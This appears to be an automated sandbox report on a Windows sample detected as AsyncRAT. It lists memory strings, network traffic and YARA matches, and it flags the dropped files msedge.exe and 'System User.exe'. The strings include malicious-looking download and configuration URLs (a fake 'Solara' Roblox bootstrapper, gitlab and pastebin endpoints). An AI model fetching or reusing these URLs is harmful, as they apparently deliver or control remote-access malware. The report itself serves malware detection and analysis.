Source: YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF8000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientsettings.roblox.com
Source: powershell.exe, 0000001E.00000002.1940467357.00000254D64E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: powershell.exe, 0000001E.00000002.1940467357.00000254D64E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micft.cMicRosof
Source: powershell.exe, 0000001E.00000002.1940467357.00000254D64E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m~
Source: YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF8000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF8000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edge-term4-fra2.roblox.com
Source: dddd.exe, 0000000E.00000002.1731703513.0000026234105000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://getsolara.dev
Source: YgJ5inWPQO.exe, 00000002.00000003.1479245702.000001D8A966B000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1485033909.000001D8A9686000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1495329200.000001D8A969D000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1477753556.000001D8A9689000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1486802746.000001D8A968D000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1486429771.000001D8A9688000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 0000000C.00000000.1480505898.00000000003D2000.00000002.00000001.01000000.00000008.sdmp, msedge.exe, 0000000C.00000002.2742589628.0000000002601000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: dddd.exe, 0000000E.00000000.1480645600.0000026232202000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: dddd.exe, 0000000E.00000002.1731703513.0000026234332000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nodejs.org
Source: powershell.exe, 00000014.00000002.1605494790.0000021DC04C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1733400343.0000013848664000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1915994439.00000254CDE82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2145283227.0000020B90071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF8000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF8000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 00000022.00000002.1986459477.0000020B8022A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000001E.00000002.1938005634.00000254D6363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.mic
Source: powershell.exe, 00000014.00000002.1580676392.0000021DB0679000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1667545883.000001383881A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1802770093.00000254BE039000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: msedge.exe, 0000000C.00000002.2742589628.000000000261B000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.00000262340ED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1580676392.0000021DB0451000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1667545883.00000138385F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1802770093.00000254BDE24000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.1986459477.0000020B80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000014.00000002.1580676392.0000021DB0679000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1667545883.000001383881A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1802770093.00000254BE039000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000022.00000002.1986459477.0000020B8022A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: YgJ5inWPQO.exe, 00000000.00000003.1464219398.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2195632946.0000020BF8D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: powershell.exe, 0000001B.00000002.1757718254.0000013850C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.nodejs.org
Source: dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.00000262341CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://485b1b07.solaraweb-alj.pages.dev/download/static/files/Bootstrapper.exe
Source: dddd.exe, 0000000E.00000002.1731703513.00000262341DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://485b1b07.solaraweb-alj.pages.dev/download/static/files/Solara.Dir
Source: dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.00000262341CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://485b1b07.solaraweb-alj.pages.dev/download/static/files/Solara.Dir.zip
Source: dddd.exe, 0000000E.00000002.1731703513.0000026234122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://485b1b07.solaraweb-alj.pages.dev/download/static/files/Solara.DirOf
Source: powershell.exe, 00000014.00000002.1580676392.0000021DB0451000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1667545883.00000138385F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1802770093.00000254BDE24000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.1986459477.0000020B80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: YgJ5inWPQO.exe, 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1497896040.000001D8A98E0000.00000004.00000020.00020000.00000000.sdmp, dddd.exe, 0000000E.00000000.1480645600.0000026232202000.00000002.00000001.01000000.00000009.sdmp, dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/vs/17/release/vc_redist.x64.exe
Source: dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientsettings.roblox.com
Source: dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.0000026234122000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.00000262341CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientsettings.roblox.com/v2/client-version/WindowsPlayer/channel/live
Source: powershell.exe, 00000022.00000002.2145283227.0000020B90071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000022.00000002.2145283227.0000020B90071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000022.00000002.2145283227.0000020B90071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000001B.00000002.1758362165.0000013850D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crosoft.com/pkiops/cer
Source: dddd.exe, 0000000E.00000002.1731703513.0000026234051000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com
Source: YgJ5inWPQO.exe, 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1497896040.000001D8A98E0000.00000004.00000020.00020000.00000000.sdmp, dddd.exe, 0000000E.00000000.1480645600.0000026232202000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://discord.com;http://127.0.0.1:6463/rpc?v=11
Source: YgJ5inWPQO.exe, 00000002.00000002.1494882785.000001D8A94E0000.00000004.00001000.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1475162914.000001D8A94AF000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1476006333.000001D8A94BB000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1475162914.000001D8A9448000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/howto/mro.html.
Source: YgJ5inWPQO.exe, 00000002.00000003.1485952577.000001D8A9410000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1488071941.000001D8A9411000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1488956192.000001D8A9415000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1491431607.000001D8A9417000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1494252029.000001D8A90A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: YgJ5inWPQO.exe, 00000002.00000002.1494252029.000001D8A90A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: YgJ5inWPQO.exe, 00000002.00000002.1494252029.000001D8A9124000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: YgJ5inWPQO.exe, 00000002.00000002.1494252029.000001D8A90A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: YgJ5inWPQO.exe, 00000002.00000002.1494252029.000001D8A9124000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: YgJ5inWPQO.exe, 00000002.00000002.1494252029.000001D8A90A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: YgJ5inWPQO.exe, 00000002.00000002.1494252029.000001D8A90A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: YgJ5inWPQO.exe, 00000002.00000002.1494252029.000001D8A90A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: YgJ5inWPQO.exe, 00000002.00000003.1485952577.000001D8A9410000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1489435505.000001D8A9411000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1494618160.000001D8A9411000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1488071941.000001D8A9411000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: dddd.exe, 0000000E.00000002.1731703513.0000026234172000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.00000262340FA000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.00000262340ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getsolara.dev
Source: YgJ5inWPQO.exe, 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1497896040.000001D8A98E0000.00000004.00000020.00020000.00000000.sdmp, dddd.exe, 0000000E.00000000.1480645600.0000026232202000.00000002.00000001.01000000.00000009.sdmp, dddd.exe, 0000000E.00000002.1731703513.0000026234172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getsolara.dev/api/endpoint.json
Source: YgJ5inWPQO.exe, 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1497896040.000001D8A98E0000.00000004.00000020.00020000.00000000.sdmp, dddd.exe, 0000000E.00000000.1480645600.0000026232202000.00000002.00000001.01000000.00000009.sdmp, dddd.exe, 0000000E.00000002.1731703513.0000026234051000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.0000026234063000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getsolara.dev/asset/discord.json
Source: powershell.exe, 00000022.00000002.1986459477.0000020B8022A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: YgJ5inWPQO.exe, 00000002.00000002.1494569830.000001D8A93F3000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1494594655.000001D8A93F6000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1491822955.000001D8A93F6000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1487788295.000001D8A93F4000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1493147338.000001D8A93F2000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1487765708.000001D8A93EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: YgJ5inWPQO.exe, 00000002.00000002.1494252029.000001D8A9124000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: YgJ5inWPQO.exe, 00000002.00000003.1487765708.000001D8A93EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: YgJ5inWPQO.exe, 00000002.00000002.1494569830.000001D8A93F3000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1494594655.000001D8A93F6000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1491822955.000001D8A93F6000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1487788295.000001D8A93F4000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1493147338.000001D8A93F2000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1487765708.000001D8A93EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: YgJ5inWPQO.exe, 00000002.00000002.1494569830.000001D8A93F3000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1494594655.000001D8A93F6000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1491822955.000001D8A93F6000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1487788295.000001D8A93F4000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1493147338.000001D8A93F2000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1487765708.000001D8A93EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: YgJ5inWPQO.exe, 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1497896040.000001D8A98E0000.00000004.00000020.00020000.00000000.sdmp, dddd.exe, 0000000E.00000000.1480645600.0000026232202000.00000002.00000001.01000000.00000009.sdmp, dddd.exe, 0000000E.00000002.1731703513.0000026234172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/cmd-softworks1/a/-/snippets/4768754/raw/main/endpoint.json
Source: YgJ5inWPQO.exe, 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1497896040.000001D8A98E0000.00000004.00000020.00020000.00000000.sdmp, dddd.exe, 0000000E.00000000.1480645600.0000026232202000.00000002.00000001.01000000.00000009.sdmp, dddd.exe, 0000000E.00000002.1731703513.0000026234051000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/cmd-softworks1/a/-/snippets/4768756/raw/main/discord.json
Source: dddd.exe, 0000000E.00000002.1731703513.00000262341C9000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.0000026234167000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ncs.roblox.com/upload
Source: dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org
Source: dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.0000026234167000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.00000262341C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/dist/v18.16.0/node-v18.16.0-x64.msi
Source: powershell.exe, 00000014.00000002.1605494790.0000021DC04C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1733400343.0000013848664000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1915994439.00000254CDE82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2145283227.0000020B90071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: YgJ5inWPQO.exe, 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1497896040.000001D8A98E0000.00000004.00000020.00020000.00000000.sdmp, dddd.exe, 0000000E.00000000.1480645600.0000026232202000.00000002.00000001.01000000.00000009.sdmp, dddd.exe, 0000000E.00000002.1731703513.0000026234172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/pjseRvyK
Source: YgJ5inWPQO.exe, 00000002.00000003.1473302298.000001D8A78EA000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1496226400.000001D8A97FC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0205/
Source: YgJ5inWPQO.exe, 00000002.00000002.1499325131.00007FFBAACA9000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://peps.python.org/pep-0263/
Source: dddd.exe, 0000000E.00000000.1480645600.0000026232202000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.nodejs.org
Source: YgJ5inWPQO.exe, 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1497896040.000001D8A98E0000.00000004.00000020.00020000.00000000.sdmp, dddd.exe, 0000000E.00000000.1480645600.0000026232202000.00000002.00000001.01000000.00000009.sdmp, dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.nodejs.org/dist/v18.16.0/node-v18.16.0-x64.msi
Source: YgJ5inWPQO.exe, 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1497896040.000001D8A98E0000.00000004.00000020.00020000.00000000.sdmp, dddd.exe, 0000000E.00000000.1480645600.0000026232202000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson
Source: YgJ5inWPQO.exe, 00000002.00000002.1499325131.00007FFBAACA9000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.python.org/psf/license/)

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 104.21.93.27:443 -> 192.168.2.8:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.27:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 128.116.123.3:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.22.46:443 -> 192.168.2.8:49709 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: YgJ5inWPQO.exe PID: 5352, type: MEMORYSTR

Operating System Destruction

Protects its processes via BreakOnTermination flag

Source: C:\Users\user\AppData\Local\Temp\msedge.exe

Process information set: 01 00 00 00

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.4.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.2.YgJ5inWPQO.exe.1d8a969d430.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.2.YgJ5inWPQO.exe.1d8a969d430.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.3.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.2.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 12.0.msedge.exe.3d0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000003.1479245702.000001D8A966B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000003.1485033909.000001D8A9686000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000C.00000000.1480505898.00000000003D2000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000002.1495329200.000001D8A969D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000003.1477753556.000001D8A9689000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000003.1486802746.000001D8A968D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000003.1486429771.000001D8A9688000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\System User.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\msedge.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF581000	0_2_00007FF7FF581000
